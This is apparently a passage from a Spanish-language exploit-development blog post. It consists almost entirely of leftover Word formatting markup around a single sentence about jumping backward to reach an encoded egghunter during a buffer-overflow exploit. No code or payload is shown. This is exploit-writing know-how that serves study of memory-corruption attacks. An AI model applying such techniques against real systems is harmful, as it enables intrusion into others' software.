<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Como vemos durante la ejecución vemos que va a dar un salto
hacia atrás de pocos bytes, y luego desde ahí haremos un salto a nuestro
egghunter encodeado, ya que tenemos que insertar las siguientes instrucciones: <!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
